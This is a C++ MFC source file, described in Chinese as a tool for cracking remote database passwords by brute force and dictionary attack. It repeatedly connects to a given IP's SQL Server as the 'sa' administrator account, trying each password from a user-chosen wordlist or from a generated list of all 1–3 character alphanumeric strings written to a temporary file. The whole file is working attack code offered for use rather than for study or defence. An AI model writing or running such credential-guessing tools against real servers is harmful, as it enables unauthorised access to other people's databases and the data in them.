ado.cpp

通过穷举法和字典法对远程数据库密码进行破解

// ADO.cpp: implementation of the CADO class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "UserKey.h"
#include "ADO.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CADO::CADO()
{

}

CADO::~CADO()
{

}

bool CADO::ConnectToDatabase(CString pwd, CString ipAddr)
{
	_bstr_t m_strCnt="Driver={SQL Server};server=";
	m_strCnt = m_strCnt + ipAddr;
	m_strCnt = m_strCnt + ";database=Master;User ID=sa;";
	m_strCnt = m_strCnt + "password="+pwd;
	CString m_strCTt=_T("select * from sysusers");
	::CoInitialize(NULL);

	if (!SUCCEEDED(m_pRs.CreateInstance("ADODB.Recordset")))
	{
		AfxMessageBox("Create Instance failed!");
	}
	try
	{
		m_pRs.CreateInstance(__uuidof(Recordset));

		m_pRs->Open((LPCTSTR)m_strCTt,(LPCTSTR)m_strCnt,
			adOpenDynamic,adLockOptimistic,adCmdText);
		long a = 11;
		HRESULT hr = m_pRs->get_RecordCount(&a);
		if(hr == ERROR_SUCCESS)
		{
			m_pRs.Release();
			return true;
		}
		else
		{
			return false;
		}
	}
	catch(_com_error & e)
	{
		//AfxMessageBox(e.Description());
	}

	::CoUninitialize();
}

CString CADO::GenerateKey(CString filePath, CString ipAddr)
{
    FILE * fp; 
	CString m_filePath = filePath;
    char s[256];
	if(m_filePath.GetLength() == 0)
	{
		AfxMessageBox("请先选择字典文件");
	}
    if((fp = fopen(m_filePath, "r")) == NULL) 
    { 
		AfxMessageBox("Can't open file\n"); 
    }
    while(fgets(s, 256, fp) != NULL)
	{
		bool success = ConnectToDatabase(s,ipAddr);
		if(success == true)
		{
			m_pwd = s;
			break;
		}
	}
	return m_pwd;
}

CString CADO::NewGenerateKey(CString ipAddr)
{
	int passwordmax =  8;

	char a[]="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";//可能的字符
	long ndictcount=sizeof(a);//获得密码词典长度
	char cpass[10];//将生成的密码
	long nminl=1,nmaxl=3;//本例中密码长度从1-3
	long array[8];//密码词典下标

	long nlength=nminl;
	register long j,i=0;
	bool bnext;

	CStdioFile file;
	file.Open("c:\\dict.dic",CFile::modeCreate|CFile::modeWrite);
	while(nlength<=nmaxl)
	{
		for(i=0;i<passwordmax;i++)
		array[i]=0;
		bnext=true;
		while(bnext)
		{
			for(i=0;i<nlength;i++)
				cpass[i]=a[array[i]];
			cpass[i]='\0';
			file.WriteString(cpass);
			file.WriteString("\n");
			for(j=nlength-1;j>=0;j--)//密码指针进位
			{ 
				array[j]++;
				if(array[j]!=ndictcount-1)
					break;
				else 
				{
					array[j]=0;
					if(j==0)
						bnext=false;
				}
			}
		}
	nlength++;
	}
	file.Close();
	return ConnectDB(ipAddr);
}

CString CADO::ConnectDB(CString ipAddr)
{
	FILE * fp; 
	if((fp = fopen("c:\\dict.dic", "r")) == NULL) 
    { 
		AfxMessageBox("Can't open file\n"); 
    }
    char s[256];
    while(fgets(s, 256, fp) != NULL)
	{
		bool success = ConnectToDatabase(s,ipAddr);
		if(success == true)
		{
			m_pwd = s;
			break;
		}
	}

	DeleteFile("c:\\dict.dic");
	return m_pwd;
}